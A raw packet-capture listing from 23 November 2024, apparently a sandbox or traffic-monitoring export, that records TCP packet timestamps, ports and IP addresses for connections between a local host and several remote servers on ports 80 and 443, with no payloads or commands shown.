Nov 23, 2024 15:22:23.268075943 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.271378994 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.271508932 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.271570921 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.274980068 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.275049925 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.275059938 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.275121927 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.278367043 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.278439045 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.278506041 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.281893969 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.281991005 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.281999111 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.282040119 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.285326004 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.285377026 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.285407066 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.285453081 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.288840055 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.288894892 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.288902998 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.288950920 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.292228937 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.292296886 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.292325020 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.292383909 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.295821905 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.295857906 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.295886993 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.295911074 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.298084974 CET	443	49798	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:23.298476934 CET	49798	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:23.298491001 CET	443	49798	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:23.298893929 CET	49798	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:23.298898935 CET	443	49798	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:23.299726963 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.299762964 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.299803019 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.299839020 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.302922964 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.302970886 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.302978039 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.303019047 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.306143999 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.306200027 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.306269884 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.306327105 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.309577942 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.309653044 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.309761047 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.309854984 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.313102007 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.313255072 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.313292980 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.313342094 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.316551924 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.316622972 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.316673040 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.316718102 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.320050001 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.320126057 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.320200920 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.320245028 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.323497057 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.323564053 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.323597908 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.323652983 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.326970100 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.327110052 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.327167034 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.327200890 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.330735922 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.330791950 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.330841064 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.330892086 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.333982944 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.334053040 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.334487915 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.334556103 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.337402105 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.337482929 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.337598085 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.337666988 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.340873957 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.340989113 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.341051102 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.344345093 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.344434977 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.344496965 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.344547987 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.347812891 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.347868919 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.348115921 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.348165035 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.351396084 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.351447105 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.351471901 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.351520061 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.354729891 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.354787111 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.354909897 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.354959965 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.358258963 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.358326912 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.358409882 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.358524084 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.361752987 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.361852884 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.361861944 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.361903906 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.362308979 CET	443	49799	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:23.362803936 CET	49799	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:23.362819910 CET	443	49799	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:23.363245010 CET	49799	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:23.363251925 CET	443	49799	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:23.365174055 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.365241051 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.365362883 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.365427017 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.440429926 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.440507889 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.440578938 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.440673113 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.441343069 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.441401958 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.441545010 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.441605091 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.443861008 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.443917990 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.444065094 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.444116116 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.446459055 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.446535110 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.446603060 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.446677923 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.449112892 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.449163914 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.449373960 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.449457884 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.451689959 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.451745033 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.452003002 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.452090979 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.454335928 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.454396963 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.454462051 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.454514027 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.457030058 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.457091093 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.457128048 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.457180977 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.459573030 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.459672928 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.459723949 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.462218046 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.462289095 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.462344885 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.462394953 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.464839935 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.464903116 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.464935064 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.464967012 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.467442989 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.467498064 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.467535973 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.467601061 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.470189095 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.470263004 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.470623970 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.470712900 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.472661018 CET	49801	443	192.168.2.4	172.67.223.140
Nov 23, 2024 15:22:23.472714901 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.472718000 CET	443	49801	172.67.223.140	192.168.2.4
Nov 23, 2024 15:22:23.472794056 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.472825050 CET	49801	443	192.168.2.4	172.67.223.140
Nov 23, 2024 15:22:23.472883940 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.473064899 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.473140955 CET	49801	443	192.168.2.4	172.67.223.140
Nov 23, 2024 15:22:23.473170042 CET	443	49801	172.67.223.140	192.168.2.4
Nov 23, 2024 15:22:23.475378036 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.475445986 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.475482941 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.475533009 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.477962971 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.478032112 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.478174925 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.478365898 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.480643034 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.480705023 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.480735064 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.480801105 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.483191967 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.483258963 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.483308077 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.483361959 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.485838890 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.485907078 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.485974073 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.486017942 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.488138914 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.488286972 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.488290071 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.488372087 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.490129948 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.490205050 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.490264893 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.490331888 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.492232084 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.492295980 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.492338896 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.492389917 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.494368076 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.494424105 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.494494915 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.494544029 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.496444941 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.496561050 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.496623039 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.498608112 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.498667002 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.498784065 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.499005079 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.500655890 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.500713110 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.500780106 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.500830889 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.502748966 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.502806902 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.502878904 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.502935886 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.504858017 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.504909992 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.504982948 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.505036116 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.506954908 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.506990910 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.507021904 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.507328987 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.509031057 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.509098053 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.509167910 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.509232998 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.511127949 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.511190891 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.511220932 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.511271000 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.513248920 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.513303995 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.513361931 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.515306950 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.515377045 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.515425920 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.515475035 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.517404079 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.517453909 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.517524958 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.517574072 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.519484043 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.519545078 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.519613028 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.519664049 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.521603107 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.521666050 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.521697998 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.521791935 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.523695946 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.523765087 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.523834944 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.523957014 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.525793076 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.525844097 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.525929928 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.525981903 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.527940035 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.528007984 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.528081894 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.528141022 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.529999018 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.530064106 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.530131102 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.530220032 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.532078028 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.532131910 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.532234907 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.532286882 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.534156084 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.534214020 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.534284115 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.534352064 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.536288977 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.536340952 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.536412954 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.536463976 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.538417101 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.538469076 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.538502932 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.538530111 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.540441036 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.540503979 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.540539980 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.540590048 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.542659044 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.542779922 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.542853117 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.542901039 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.544622898 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.544681072 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.544747114 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.544797897 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.546864033 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.546947002 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.546956062 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.547024012 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.548957109 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.548993111 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.549021959 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.549047947 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.550919056 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.551004887 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.551062107 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.553073883 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.553145885 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.553184986 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.553270102 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.555119991 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.555207968 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.555263996 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.555329084 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.557204008 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.557250023 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.557303905 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.557353020 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.571423054 CET	443	49800	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:23.571856022 CET	49800	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:23.571866989 CET	443	49800	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:23.572251081 CET	49800	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:23.572256088 CET	443	49800	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:23.603275061 CET	443	49797	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:23.603457928 CET	443	49797	13.107.246.63	192.168.2.4
